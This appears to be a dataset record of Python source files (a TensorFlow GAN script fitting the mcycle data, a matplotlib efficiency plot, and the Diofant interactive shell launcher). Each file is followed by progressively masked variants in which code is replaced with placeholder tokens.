tf.reduce_mean(keras.losses.binary_crossentropy(np.\n zeros(N).reshape([N, 1]), tf.cast(preds_fake, tf.float64)))\n dl = 0.5 * tf.add(dl_real, dl_fake)\n grads = t.gradient(dl, disc.trainable_variables)\n grads_norm = 0\n for i in range(len(grads)):\n grads_norm += tf.reduce_mean(tf.square(grads[i]))\n grads_norm /= float(len(grads))\n double_grads = td.gradient(grads_norm, disc.trainable_variables)\n grads_n_vars = [(grads[i] + doubleback_const * double_grads[i], disc.\n trainable_variables[i]) for i in range(len(grads))]\n disc.optimizer.apply_gradients(grads_n_vars)\n disc.trainable = False\n with tf.GradientTape() as td:\n with tf.GradientTape() as t:\n preds = both_mod([tf.cast(x, tf.float32), tf.cast(some_noise,\n tf.float32)])\n bl = tf.reduce_mean(keras.losses.binary_crossentropy(np.ones(N)\n .reshape([N, 1]), tf.cast(preds, tf.float64)))\n grads = t.gradient(bl, both_mod.trainable_variables)\n grads_norm = 0\n for i in range(len(grads)):\n grads_norm += tf.reduce_mean(tf.square(grads[i]))\n grads_norm /= float(len(grads))\n double_grads = td.gradient(grads_norm, both_mod.trainable_variables)\n grads_n_vars = [(grads[i] + doubleback_const * double_grads[i],\n both_mod.trainable_variables[i]) for i in range(len(grads))]\n both_mod.optimizer.apply_gradients(grads_n_vars)\nfig = plt.figure()\nplt.scatter(x, y)\nsome_noise = np.random.normal(size=[N, P])\npreds = gen.predict(np.hstack([x, some_noise]))\nplt.scatter(x, preds)\nplt.savefig('temp.pdf')\n",
"<import token>\nnp.random.seed(123)\n<import token>\ntf.enable_eager_execution()\ntf.set_random_seed(123)\nP = 1\nR = 1\nQ = 1\nH = 20\nepochs = 1000\ndoubleback_const = 1\nmcycle = np.genfromtxt('./data/mcycle.csv', delimiter=',', skip_header=1)\nN = mcycle.shape[0]\nx = mcycle[:, 0].reshape([N, P])\ny = mcycle[:, 1].reshape([N, Q])\nx = (x - np.mean(x)) / np.std(x)\ny = (y - np.mean(y)) / np.std(y)\ngen = tf.keras.Sequential()\ngen.add(tf.keras.layers.Dense(H, input_dim=P + R, activation=tf.keras.\n activations.elu))\ngen.add(tf.keras.layers.Dense(H, activation=tf.keras.activations.elu))\ngen.add(tf.keras.layers.Dense(Q))\ndisc = tf.keras.Sequential()\ndisc.add(tf.keras.layers.Dense(H, input_dim=P + Q, activation=tf.keras.\n activations.elu))\ndisc.add(tf.keras.layers.Dense(H, activation=tf.keras.activations.elu))\ndisc.add(tf.keras.layers.Dense(1, activation=tf.keras.activations.sigmoid))\ngen.summary()\ndisc.summary()\ndisc.compile(tf.train.GradientDescentOptimizer(learning_rate=1.0),\n 'binary_crossentropy')\nnoise = tf.keras.layers.Input(shape=(R,))\nxdat = tf.keras.layers.Input(shape=(P,))\ngenin = tf.keras.layers.concatenate([xdat, noise])\ngenout = gen(genin)\ndiscin = tf.keras.layers.concatenate([xdat, genout])\nvalidity = disc(discin)\nboth_mod = tf.keras.models.Model([xdat, noise], validity)\nboth_mod.layers[5].trainable = False\nboth_mod.compile(tf.train.GradientDescentOptimizer(learning_rate=1.0),\n 'binary_crossentropy')\nfor epoch in tqdm(range(epochs)):\n some_noise = np.random.normal(size=[N, R])\n gen_dat = gen.predict(np.hstack([x, some_noise]))\n disc.trainable = True\n with tf.GradientTape() as td:\n with tf.GradientTape() as t:\n preds_real = disc(tf.cast(np.hstack([x, y.reshape([N, Q])]), tf\n .float32))\n preds_fake = disc(tf.cast(np.hstack([x, gen_dat]), tf.float32))\n dl_real = tf.reduce_mean(keras.losses.binary_crossentropy(np.\n ones(N).reshape([N, 1]), tf.cast(preds_real, tf.float64)))\n dl_fake = tf.reduce_mean(keras.losses.binary_crossentropy(np.\n zeros(N).reshape([N, 1]), tf.cast(preds_fake, tf.float64)))\n dl = 0.5 * tf.add(dl_real, dl_fake)\n grads = t.gradient(dl, disc.trainable_variables)\n grads_norm = 0\n for i in range(len(grads)):\n grads_norm += tf.reduce_mean(tf.square(grads[i]))\n grads_norm /= float(len(grads))\n double_grads = td.gradient(grads_norm, disc.trainable_variables)\n grads_n_vars = [(grads[i] + doubleback_const * double_grads[i], disc.\n trainable_variables[i]) for i in range(len(grads))]\n disc.optimizer.apply_gradients(grads_n_vars)\n disc.trainable = False\n with tf.GradientTape() as td:\n with tf.GradientTape() as t:\n preds = both_mod([tf.cast(x, tf.float32), tf.cast(some_noise,\n tf.float32)])\n bl = tf.reduce_mean(keras.losses.binary_crossentropy(np.ones(N)\n .reshape([N, 1]), tf.cast(preds, tf.float64)))\n grads = t.gradient(bl, both_mod.trainable_variables)\n grads_norm = 0\n for i in range(len(grads)):\n grads_norm += tf.reduce_mean(tf.square(grads[i]))\n grads_norm /= float(len(grads))\n double_grads = td.gradient(grads_norm, both_mod.trainable_variables)\n grads_n_vars = [(grads[i] + doubleback_const * double_grads[i],\n both_mod.trainable_variables[i]) for i in range(len(grads))]\n both_mod.optimizer.apply_gradients(grads_n_vars)\nfig = plt.figure()\nplt.scatter(x, y)\nsome_noise = np.random.normal(size=[N, P])\npreds = gen.predict(np.hstack([x, some_noise]))\nplt.scatter(x, preds)\nplt.savefig('temp.pdf')\n",
"<import token>\nnp.random.seed(123)\n<import token>\ntf.enable_eager_execution()\ntf.set_random_seed(123)\n<assignment token>\ngen.add(tf.keras.layers.Dense(H, input_dim=P + R, activation=tf.keras.\n activations.elu))\ngen.add(tf.keras.layers.Dense(H, activation=tf.keras.activations.elu))\ngen.add(tf.keras.layers.Dense(Q))\n<assignment token>\ndisc.add(tf.keras.layers.Dense(H, input_dim=P + Q, activation=tf.keras.\n activations.elu))\ndisc.add(tf.keras.layers.Dense(H, activation=tf.keras.activations.elu))\ndisc.add(tf.keras.layers.Dense(1, activation=tf.keras.activations.sigmoid))\ngen.summary()\ndisc.summary()\ndisc.compile(tf.train.GradientDescentOptimizer(learning_rate=1.0),\n 'binary_crossentropy')\n<assignment token>\nboth_mod.compile(tf.train.GradientDescentOptimizer(learning_rate=1.0),\n 'binary_crossentropy')\nfor epoch in tqdm(range(epochs)):\n some_noise = np.random.normal(size=[N, R])\n gen_dat = gen.predict(np.hstack([x, some_noise]))\n disc.trainable = True\n with tf.GradientTape() as td:\n with tf.GradientTape() as t:\n preds_real = disc(tf.cast(np.hstack([x, y.reshape([N, Q])]), tf\n .float32))\n preds_fake = disc(tf.cast(np.hstack([x, gen_dat]), tf.float32))\n dl_real = tf.reduce_mean(keras.losses.binary_crossentropy(np.\n ones(N).reshape([N, 1]), tf.cast(preds_real, tf.float64)))\n dl_fake = tf.reduce_mean(keras.losses.binary_crossentropy(np.\n zeros(N).reshape([N, 1]), tf.cast(preds_fake, tf.float64)))\n dl = 0.5 * tf.add(dl_real, dl_fake)\n grads = t.gradient(dl, disc.trainable_variables)\n grads_norm = 0\n for i in range(len(grads)):\n grads_norm += tf.reduce_mean(tf.square(grads[i]))\n grads_norm /= float(len(grads))\n double_grads = td.gradient(grads_norm, disc.trainable_variables)\n grads_n_vars = [(grads[i] + doubleback_const * double_grads[i], disc.\n trainable_variables[i]) for i in range(len(grads))]\n disc.optimizer.apply_gradients(grads_n_vars)\n disc.trainable = False\n with tf.GradientTape() as td:\n with tf.GradientTape() as t:\n preds = both_mod([tf.cast(x, tf.float32), tf.cast(some_noise,\n tf.float32)])\n bl = tf.reduce_mean(keras.losses.binary_crossentropy(np.ones(N)\n .reshape([N, 1]), tf.cast(preds, tf.float64)))\n grads = t.gradient(bl, both_mod.trainable_variables)\n grads_norm = 0\n for i in range(len(grads)):\n grads_norm += tf.reduce_mean(tf.square(grads[i]))\n grads_norm /= float(len(grads))\n double_grads = td.gradient(grads_norm, both_mod.trainable_variables)\n grads_n_vars = [(grads[i] + doubleback_const * double_grads[i],\n both_mod.trainable_variables[i]) for i in range(len(grads))]\n both_mod.optimizer.apply_gradients(grads_n_vars)\n<assignment token>\nplt.scatter(x, y)\n<assignment token>\nplt.scatter(x, preds)\nplt.savefig('temp.pdf')\n",
"<import token>\n<code token>\n<import token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n"
] | false |
9,942 |
bee96e817dd4d9462c1e3f8eb525c22c2117140a
|
#!/usr/bin/env python
from math import *
import numpy as np
import matplotlib.pyplot as plt
import Input as para
data = np.loadtxt("eff-proton.dat")
#data = np.loadtxt("eff-electron.dat")
show_time = data[0]
show_eff = data[1]
#print show_turn, show_eff
#x_lower_limit = min(show_time)
#x_upper_limit = max(show_time)
x_lower_limit = 0.0
x_upper_limit = para.T_nu*1000
y_lower_limit = min(show_eff)-abs(max(show_eff)-min(show_eff))
y_upper_limit = max(show_eff)
plt.figure()
plt.xlabel('Time (ms)', fontsize=30)
plt.ylabel('Capture rate (%)', fontsize=30)
plt.xticks(fontsize=25)
plt.yticks(fontsize=25)
plt.xlim(x_lower_limit, x_upper_limit)
plt.ylim(y_lower_limit, y_upper_limit)
plt.plot(show_time, show_eff, 'b-', markeredgecolor = 'b', linewidth=5)
plt.savefig('eff-vs-time-proton.eps', format='eps', dpi=1000, bbox_inches='tight')
#plt.savefig('eff-vs-time-electron.eps', format='eps', dpi=1000, bbox_inches='tight')
plt.show()
|
[
"#!/usr/bin/env python\nfrom math import *\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport Input as para\n\ndata = np.loadtxt(\"eff-proton.dat\")\n#data = np.loadtxt(\"eff-electron.dat\")\n\nshow_time = data[0]\nshow_eff = data[1]\n#print show_turn, show_eff\n\n#x_lower_limit = min(show_time)\n#x_upper_limit = max(show_time)\nx_lower_limit = 0.0\nx_upper_limit = para.T_nu*1000\n\ny_lower_limit = min(show_eff)-abs(max(show_eff)-min(show_eff))\ny_upper_limit = max(show_eff)\n\nplt.figure()\nplt.xlabel('Time (ms)', fontsize=30)\nplt.ylabel('Capture rate (%)', fontsize=30)\nplt.xticks(fontsize=25)\nplt.yticks(fontsize=25)\nplt.xlim(x_lower_limit, x_upper_limit)\nplt.ylim(y_lower_limit, y_upper_limit)\nplt.plot(show_time, show_eff, 'b-', markeredgecolor = 'b', linewidth=5)\n\nplt.savefig('eff-vs-time-proton.eps', format='eps', dpi=1000, bbox_inches='tight')\n#plt.savefig('eff-vs-time-electron.eps', format='eps', dpi=1000, bbox_inches='tight')\n\nplt.show()\n\n",
"from math import *\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport Input as para\ndata = np.loadtxt('eff-proton.dat')\nshow_time = data[0]\nshow_eff = data[1]\nx_lower_limit = 0.0\nx_upper_limit = para.T_nu * 1000\ny_lower_limit = min(show_eff) - abs(max(show_eff) - min(show_eff))\ny_upper_limit = max(show_eff)\nplt.figure()\nplt.xlabel('Time (ms)', fontsize=30)\nplt.ylabel('Capture rate (%)', fontsize=30)\nplt.xticks(fontsize=25)\nplt.yticks(fontsize=25)\nplt.xlim(x_lower_limit, x_upper_limit)\nplt.ylim(y_lower_limit, y_upper_limit)\nplt.plot(show_time, show_eff, 'b-', markeredgecolor='b', linewidth=5)\nplt.savefig('eff-vs-time-proton.eps', format='eps', dpi=1000, bbox_inches=\n 'tight')\nplt.show()\n",
"<import token>\ndata = np.loadtxt('eff-proton.dat')\nshow_time = data[0]\nshow_eff = data[1]\nx_lower_limit = 0.0\nx_upper_limit = para.T_nu * 1000\ny_lower_limit = min(show_eff) - abs(max(show_eff) - min(show_eff))\ny_upper_limit = max(show_eff)\nplt.figure()\nplt.xlabel('Time (ms)', fontsize=30)\nplt.ylabel('Capture rate (%)', fontsize=30)\nplt.xticks(fontsize=25)\nplt.yticks(fontsize=25)\nplt.xlim(x_lower_limit, x_upper_limit)\nplt.ylim(y_lower_limit, y_upper_limit)\nplt.plot(show_time, show_eff, 'b-', markeredgecolor='b', linewidth=5)\nplt.savefig('eff-vs-time-proton.eps', format='eps', dpi=1000, bbox_inches=\n 'tight')\nplt.show()\n",
"<import token>\n<assignment token>\nplt.figure()\nplt.xlabel('Time (ms)', fontsize=30)\nplt.ylabel('Capture rate (%)', fontsize=30)\nplt.xticks(fontsize=25)\nplt.yticks(fontsize=25)\nplt.xlim(x_lower_limit, x_upper_limit)\nplt.ylim(y_lower_limit, y_upper_limit)\nplt.plot(show_time, show_eff, 'b-', markeredgecolor='b', linewidth=5)\nplt.savefig('eff-vs-time-proton.eps', format='eps', dpi=1000, bbox_inches=\n 'tight')\nplt.show()\n",
"<import token>\n<assignment token>\n<code token>\n"
] | false |
9,943 |
80e395715d3ae216beb17e7caed1d8d03c5c56de
|
"""
Python shell for Diofant.
This is just a normal Python shell (IPython shell if you have the
IPython package installed), that adds default imports and run
some initialization code.
"""
import argparse
import ast
import atexit
import code
import os
import readline
import rlcompleter
from diofant.interactive.session import (AutomaticSymbols,
IntegerDivisionWrapper,
unicode_identifiers)
__all__ = ()
parser = argparse.ArgumentParser(description=__doc__,
prog='python -m diofant')
parser.add_argument('--no-wrap-division',
help="Don't wrap integer divisions with Fraction",
action='store_true')
parser.add_argument('-a', '--auto-symbols',
help="Automatically create missing Symbol's",
action='store_true')
parser.add_argument('--no-ipython', help="Don't use IPython",
action='store_true')
parser.add_argument('--unicode-identifiers',
help='Allow any unicode identifiers',
action='store_true')
def main():
args, ipython_args = parser.parse_known_args()
lines = ['from diofant import *',
'init_printing()',
"a, b, c, d, t, x, y, z = symbols('a:d t x:z')",
"k, m, n = symbols('k m n', integer=True)",
"f, g, h = symbols('f g h', cls=Function)",
'init_printing(pretty_print=True, use_unicode=True)']
try:
import IPython
import traitlets
except ImportError:
args.no_ipython = True
if not args.no_ipython:
config = traitlets.config.loader.Config()
shell = config.InteractiveShell
ast_transformers = shell.ast_transformers
if not args.no_wrap_division:
ast_transformers.append(IntegerDivisionWrapper())
shell.confirm_exit = False
config.TerminalIPythonApp.display_banner = False
config.TerminalInteractiveShell.autoformatter = None
app = IPython.terminal.ipapp.TerminalIPythonApp.instance(config=config)
app.initialize(ipython_args)
shell = app.shell
for l in lines:
shell.run_cell(l, silent=True)
if args.auto_symbols:
shell.run_cell('from diofant.interactive.session import AutomaticSymbols')
shell.run_cell('ip = get_ipython()')
shell.run_cell('ip.ast_transformers.append(AutomaticSymbols(ip.user_ns))')
shell.run_cell('del ip')
if args.unicode_identifiers:
shell.run_cell('from diofant.interactive.session import unicode_identifiers')
shell.run_cell('ip = get_ipython()')
shell.run_cell('ip.input_transformers_cleanup.append(unicode_identifiers)')
shell.run_cell('del ip')
app.start()
else:
ast_transformers = []
source_transformers = []
ns = {}
if not args.no_wrap_division:
ast_transformers.append(IntegerDivisionWrapper())
if args.auto_symbols:
ast_transformers.append(AutomaticSymbols(ns))
if args.unicode_identifiers:
source_transformers.append(unicode_identifiers)
class DiofantConsole(code.InteractiveConsole):
"""An interactive console with readline support."""
def __init__(self, ast_transformers=[],
source_transformers=[], **kwargs):
super().__init__(**kwargs)
readline.set_completer(rlcompleter.Completer(ns).complete)
readline.parse_and_bind('tab: complete')
history = os.path.expanduser('~/.python_history')
readline.read_history_file(history)
atexit.register(readline.write_history_file, history)
self.ast_transformers = ast_transformers
self.source_transformers = source_transformers
def runsource(self, source, filename='<input>', symbol='single'):
for t in self.source_transformers:
source = '\n'.join(t(source.splitlines()))
try:
tree = ast.parse(source)
except SyntaxError:
return True
for t in self.ast_transformers:
tree = t.visit(tree)
ast.fix_missing_locations(tree)
source = ast.unparse(tree)
source = source.split('\n')
source = ';'.join(source)
return super().runsource(source, filename=filename, symbol=symbol)
c = DiofantConsole(ast_transformers=ast_transformers,
source_transformers=source_transformers, locals=ns)
for l in lines:
c.push(l)
c.interact('', '')
if __name__ == '__main__': # pragma: no branch
main()
|
[
"\"\"\"\nPython shell for Diofant.\n\nThis is just a normal Python shell (IPython shell if you have the\nIPython package installed), that adds default imports and run\nsome initialization code.\n\"\"\"\n\nimport argparse\nimport ast\nimport atexit\nimport code\nimport os\nimport readline\nimport rlcompleter\n\nfrom diofant.interactive.session import (AutomaticSymbols,\n IntegerDivisionWrapper,\n unicode_identifiers)\n\n\n__all__ = ()\n\n\nparser = argparse.ArgumentParser(description=__doc__,\n prog='python -m diofant')\nparser.add_argument('--no-wrap-division',\n help=\"Don't wrap integer divisions with Fraction\",\n action='store_true')\nparser.add_argument('-a', '--auto-symbols',\n help=\"Automatically create missing Symbol's\",\n action='store_true')\nparser.add_argument('--no-ipython', help=\"Don't use IPython\",\n action='store_true')\nparser.add_argument('--unicode-identifiers',\n help='Allow any unicode identifiers',\n action='store_true')\n\n\ndef main():\n args, ipython_args = parser.parse_known_args()\n\n lines = ['from diofant import *',\n 'init_printing()',\n \"a, b, c, d, t, x, y, z = symbols('a:d t x:z')\",\n \"k, m, n = symbols('k m n', integer=True)\",\n \"f, g, h = symbols('f g h', cls=Function)\",\n 'init_printing(pretty_print=True, use_unicode=True)']\n\n try:\n import IPython\n import traitlets\n except ImportError:\n args.no_ipython = True\n\n if not args.no_ipython:\n config = traitlets.config.loader.Config()\n shell = config.InteractiveShell\n ast_transformers = shell.ast_transformers\n if not args.no_wrap_division:\n ast_transformers.append(IntegerDivisionWrapper())\n shell.confirm_exit = False\n config.TerminalIPythonApp.display_banner = False\n config.TerminalInteractiveShell.autoformatter = None\n\n app = IPython.terminal.ipapp.TerminalIPythonApp.instance(config=config)\n app.initialize(ipython_args)\n shell = app.shell\n for l in lines:\n shell.run_cell(l, silent=True)\n if args.auto_symbols:\n shell.run_cell('from diofant.interactive.session import AutomaticSymbols')\n shell.run_cell('ip = get_ipython()')\n shell.run_cell('ip.ast_transformers.append(AutomaticSymbols(ip.user_ns))')\n shell.run_cell('del ip')\n if args.unicode_identifiers:\n shell.run_cell('from diofant.interactive.session import unicode_identifiers')\n shell.run_cell('ip = get_ipython()')\n shell.run_cell('ip.input_transformers_cleanup.append(unicode_identifiers)')\n shell.run_cell('del ip')\n app.start()\n else:\n ast_transformers = []\n source_transformers = []\n ns = {}\n\n if not args.no_wrap_division:\n ast_transformers.append(IntegerDivisionWrapper())\n if args.auto_symbols:\n ast_transformers.append(AutomaticSymbols(ns))\n if args.unicode_identifiers:\n source_transformers.append(unicode_identifiers)\n\n class DiofantConsole(code.InteractiveConsole):\n \"\"\"An interactive console with readline support.\"\"\"\n\n def __init__(self, ast_transformers=[],\n source_transformers=[], **kwargs):\n super().__init__(**kwargs)\n\n readline.set_completer(rlcompleter.Completer(ns).complete)\n readline.parse_and_bind('tab: complete')\n\n history = os.path.expanduser('~/.python_history')\n readline.read_history_file(history)\n atexit.register(readline.write_history_file, history)\n self.ast_transformers = ast_transformers\n self.source_transformers = source_transformers\n\n def runsource(self, source, filename='<input>', symbol='single'):\n for t in self.source_transformers:\n source = '\\n'.join(t(source.splitlines()))\n\n try:\n tree = ast.parse(source)\n except SyntaxError:\n return True\n\n for t in self.ast_transformers:\n tree = t.visit(tree)\n ast.fix_missing_locations(tree)\n\n source = ast.unparse(tree)\n source = source.split('\\n')\n source = ';'.join(source)\n return super().runsource(source, filename=filename, symbol=symbol)\n\n c = DiofantConsole(ast_transformers=ast_transformers,\n source_transformers=source_transformers, locals=ns)\n\n for l in lines:\n c.push(l)\n c.interact('', '')\n\n\nif __name__ == '__main__': # pragma: no branch\n main()\n",
"<docstring token>\nimport argparse\nimport ast\nimport atexit\nimport code\nimport os\nimport readline\nimport rlcompleter\nfrom diofant.interactive.session import AutomaticSymbols, IntegerDivisionWrapper, unicode_identifiers\n__all__ = ()\nparser = argparse.ArgumentParser(description=__doc__, prog='python -m diofant')\nparser.add_argument('--no-wrap-division', help=\n \"Don't wrap integer divisions with Fraction\", action='store_true')\nparser.add_argument('-a', '--auto-symbols', help=\n \"Automatically create missing Symbol's\", action='store_true')\nparser.add_argument('--no-ipython', help=\"Don't use IPython\", action=\n 'store_true')\nparser.add_argument('--unicode-identifiers', help=\n 'Allow any unicode identifiers', action='store_true')\n\n\ndef main():\n args, ipython_args = parser.parse_known_args()\n lines = ['from diofant import *', 'init_printing()',\n \"a, b, c, d, t, x, y, z = symbols('a:d t x:z')\",\n \"k, m, n = symbols('k m n', integer=True)\",\n \"f, g, h = symbols('f g h', cls=Function)\",\n 'init_printing(pretty_print=True, use_unicode=True)']\n try:\n import IPython\n import traitlets\n except ImportError:\n args.no_ipython = True\n if not args.no_ipython:\n config = traitlets.config.loader.Config()\n shell = config.InteractiveShell\n ast_transformers = shell.ast_transformers\n if not args.no_wrap_division:\n ast_transformers.append(IntegerDivisionWrapper())\n shell.confirm_exit = False\n config.TerminalIPythonApp.display_banner = False\n config.TerminalInteractiveShell.autoformatter = None\n app = IPython.terminal.ipapp.TerminalIPythonApp.instance(config=config)\n app.initialize(ipython_args)\n shell = app.shell\n for l in lines:\n shell.run_cell(l, silent=True)\n if args.auto_symbols:\n shell.run_cell(\n 'from diofant.interactive.session import AutomaticSymbols')\n shell.run_cell('ip = get_ipython()')\n shell.run_cell(\n 'ip.ast_transformers.append(AutomaticSymbols(ip.user_ns))')\n shell.run_cell('del ip')\n if args.unicode_identifiers:\n shell.run_cell(\n 'from diofant.interactive.session import unicode_identifiers')\n shell.run_cell('ip = get_ipython()')\n shell.run_cell(\n 'ip.input_transformers_cleanup.append(unicode_identifiers)')\n shell.run_cell('del ip')\n app.start()\n else:\n ast_transformers = []\n source_transformers = []\n ns = {}\n if not args.no_wrap_division:\n ast_transformers.append(IntegerDivisionWrapper())\n if args.auto_symbols:\n ast_transformers.append(AutomaticSymbols(ns))\n if args.unicode_identifiers:\n source_transformers.append(unicode_identifiers)\n\n\n class DiofantConsole(code.InteractiveConsole):\n \"\"\"An interactive console with readline support.\"\"\"\n\n def __init__(self, ast_transformers=[], source_transformers=[],\n **kwargs):\n super().__init__(**kwargs)\n readline.set_completer(rlcompleter.Completer(ns).complete)\n readline.parse_and_bind('tab: complete')\n history = os.path.expanduser('~/.python_history')\n readline.read_history_file(history)\n atexit.register(readline.write_history_file, history)\n self.ast_transformers = ast_transformers\n self.source_transformers = source_transformers\n\n def runsource(self, source, filename='<input>', symbol='single'):\n for t in self.source_transformers:\n source = '\\n'.join(t(source.splitlines()))\n try:\n tree = ast.parse(source)\n except SyntaxError:\n return True\n for t in self.ast_transformers:\n tree = t.visit(tree)\n ast.fix_missing_locations(tree)\n source = ast.unparse(tree)\n source = source.split('\\n')\n source = ';'.join(source)\n return super().runsource(source, filename=filename, symbol=\n symbol)\n c = DiofantConsole(ast_transformers=ast_transformers,\n source_transformers=source_transformers, locals=ns)\n for l in lines:\n c.push(l)\n c.interact('', '')\n\n\nif __name__ == '__main__':\n main()\n",
"<docstring token>\n<import token>\n__all__ = ()\nparser = argparse.ArgumentParser(description=__doc__, prog='python -m diofant')\nparser.add_argument('--no-wrap-division', help=\n \"Don't wrap integer divisions with Fraction\", action='store_true')\nparser.add_argument('-a', '--auto-symbols', help=\n \"Automatically create missing Symbol's\", action='store_true')\nparser.add_argument('--no-ipython', help=\"Don't use IPython\", action=\n 'store_true')\nparser.add_argument('--unicode-identifiers', help=\n 'Allow any unicode identifiers', action='store_true')\n\n\ndef main():\n args, ipython_args = parser.parse_known_args()\n lines = ['from diofant import *', 'init_printing()',\n \"a, b, c, d, t, x, y, z = symbols('a:d t x:z')\",\n \"k, m, n = symbols('k m n', integer=True)\",\n \"f, g, h = symbols('f g h', cls=Function)\",\n 'init_printing(pretty_print=True, use_unicode=True)']\n try:\n import IPython\n import traitlets\n except ImportError:\n args.no_ipython = True\n if not args.no_ipython:\n config = traitlets.config.loader.Config()\n shell = config.InteractiveShell\n ast_transformers = shell.ast_transformers\n if not args.no_wrap_division:\n ast_transformers.append(IntegerDivisionWrapper())\n shell.confirm_exit = False\n config.TerminalIPythonApp.display_banner = False\n config.TerminalInteractiveShell.autoformatter = None\n app = IPython.terminal.ipapp.TerminalIPythonApp.instance(config=config)\n app.initialize(ipython_args)\n shell = app.shell\n for l in lines:\n shell.run_cell(l, silent=True)\n if args.auto_symbols:\n shell.run_cell(\n 'from diofant.interactive.session import AutomaticSymbols')\n shell.run_cell('ip = get_ipython()')\n shell.run_cell(\n 'ip.ast_transformers.append(AutomaticSymbols(ip.user_ns))')\n shell.run_cell('del ip')\n if args.unicode_identifiers:\n shell.run_cell(\n 'from diofant.interactive.session import unicode_identifiers')\n shell.run_cell('ip = get_ipython()')\n shell.run_cell(\n 'ip.input_transformers_cleanup.append(unicode_identifiers)')\n shell.run_cell('del ip')\n app.start()\n else:\n ast_transformers = []\n source_transformers = []\n ns = {}\n if not args.no_wrap_division:\n ast_transformers.append(IntegerDivisionWrapper())\n if args.auto_symbols:\n ast_transformers.append(AutomaticSymbols(ns))\n if args.unicode_identifiers:\n source_transformers.append(unicode_identifiers)\n\n\n class DiofantConsole(code.InteractiveConsole):\n \"\"\"An interactive console with readline support.\"\"\"\n\n def __init__(self, ast_transformers=[], source_transformers=[],\n **kwargs):\n super().__init__(**kwargs)\n readline.set_completer(rlcompleter.Completer(ns).complete)\n readline.parse_and_bind('tab: complete')\n history = os.path.expanduser('~/.python_history')\n readline.read_history_file(history)\n atexit.register(readline.write_history_file, history)\n self.ast_transformers = ast_transformers\n self.source_transformers = source_transformers\n\n def runsource(self, source, filename='<input>', symbol='single'):\n for t in self.source_transformers:\n source = '\\n'.join(t(source.splitlines()))\n try:\n tree = ast.parse(source)\n except SyntaxError:\n return True\n for t in self.ast_transformers:\n tree = t.visit(tree)\n ast.fix_missing_locations(tree)\n source = ast.unparse(tree)\n source = source.split('\\n')\n source = ';'.join(source)\n return super().runsource(source, filename=filename, symbol=\n symbol)\n c = DiofantConsole(ast_transformers=ast_transformers,\n source_transformers=source_transformers, locals=ns)\n for l in lines:\n c.push(l)\n c.interact('', '')\n\n\nif __name__ == '__main__':\n main()\n",
"<docstring token>\n<import token>\n<assignment token>\nparser.add_argument('--no-wrap-division', help=\n \"Don't wrap integer divisions with Fraction\", action='store_true')\nparser.add_argument('-a', '--auto-symbols', help=\n \"Automatically create missing Symbol's\", action='store_true')\nparser.add_argument('--no-ipython', help=\"Don't use IPython\", action=\n 'store_true')\nparser.add_argument('--unicode-identifiers', help=\n 'Allow any unicode identifiers', action='store_true')\n\n\ndef main():\n args, ipython_args = parser.parse_known_args()\n lines = ['from diofant import *', 'init_printing()',\n \"a, b, c, d, t, x, y, z = symbols('a:d t x:z')\",\n \"k, m, n = symbols('k m n', integer=True)\",\n \"f, g, h = symbols('f g h', cls=Function)\",\n 'init_printing(pretty_print=True, use_unicode=True)']\n try:\n import IPython\n import traitlets\n except ImportError:\n args.no_ipython = True\n if not args.no_ipython:\n config = traitlets.config.loader.Config()\n shell = config.InteractiveShell\n ast_transformers = shell.ast_transformers\n if not args.no_wrap_division:\n ast_transformers.append(IntegerDivisionWrapper())\n shell.confirm_exit = False\n config.TerminalIPythonApp.display_banner = False\n config.TerminalInteractiveShell.autoformatter = None\n app = IPython.terminal.ipapp.TerminalIPythonApp.instance(config=config)\n app.initialize(ipython_args)\n shell = app.shell\n for l in lines:\n shell.run_cell(l, silent=True)\n if args.auto_symbols:\n shell.run_cell(\n 'from diofant.interactive.session import AutomaticSymbols')\n shell.run_cell('ip = get_ipython()')\n shell.run_cell(\n 'ip.ast_transformers.append(AutomaticSymbols(ip.user_ns))')\n shell.run_cell('del ip')\n if args.unicode_identifiers:\n shell.run_cell(\n 'from diofant.interactive.session import unicode_identifiers')\n shell.run_cell('ip = get_ipython()')\n shell.run_cell(\n 'ip.input_transformers_cleanup.append(unicode_identifiers)')\n shell.run_cell('del ip')\n app.start()\n else:\n ast_transformers = []\n source_transformers = []\n ns = {}\n if not args.no_wrap_division:\n ast_transformers.append(IntegerDivisionWrapper())\n if args.auto_symbols:\n ast_transformers.append(AutomaticSymbols(ns))\n if args.unicode_identifiers:\n source_transformers.append(unicode_identifiers)\n\n\n class DiofantConsole(code.InteractiveConsole):\n \"\"\"An interactive console with readline support.\"\"\"\n\n def __init__(self, ast_transformers=[], source_transformers=[],\n **kwargs):\n super().__init__(**kwargs)\n readline.set_completer(rlcompleter.Completer(ns).complete)\n readline.parse_and_bind('tab: complete')\n history = os.path.expanduser('~/.python_history')\n readline.read_history_file(history)\n atexit.register(readline.write_history_file, history)\n self.ast_transformers = ast_transformers\n self.source_transformers = source_transformers\n\n def runsource(self, source, filename='<input>', symbol='single'):\n for t in self.source_transformers:\n source = '\\n'.join(t(source.splitlines()))\n try:\n tree = ast.parse(source)\n except SyntaxError:\n return True\n for t in self.ast_transformers:\n tree = t.visit(tree)\n ast.fix_missing_locations(tree)\n source = ast.unparse(tree)\n source = source.split('\\n')\n source = ';'.join(source)\n return super().runsource(source, filename=filename, symbol=\n symbol)\n c = DiofantConsole(ast_transformers=ast_transformers,\n source_transformers=source_transformers, locals=ns)\n for l in lines:\n c.push(l)\n c.interact('', '')\n\n\nif __name__ == '__main__':\n main()\n",
"<docstring token>\n<import token>\n<assignment token>\n<code token>\n\n\ndef main():\n args, ipython_args = parser.parse_known_args()\n lines = ['from diofant import *', 'init_printing()',\n \"a, b, c, d, t, x, y, z = symbols('a:d t x:z')\",\n \"k, m, n = symbols('k m n', integer=True)\",\n \"f, g, h = symbols('f g h', cls=Function)\",\n 'init_printing(pretty_print=True, use_unicode=True)']\n try:\n import IPython\n import traitlets\n except ImportError:\n args.no_ipython = True\n if not args.no_ipython:\n config = traitlets.config.loader.Config()\n shell = config.InteractiveShell\n ast_transformers = shell.ast_transformers\n if not args.no_wrap_division:\n ast_transformers.append(IntegerDivisionWrapper())\n shell.confirm_exit = False\n config.TerminalIPythonApp.display_banner = False\n config.TerminalInteractiveShell.autoformatter = None\n app = IPython.terminal.ipapp.TerminalIPythonApp.instance(config=config)\n app.initialize(ipython_args)\n shell = app.shell\n for l in lines:\n shell.run_cell(l, silent=True)\n if args.auto_symbols:\n 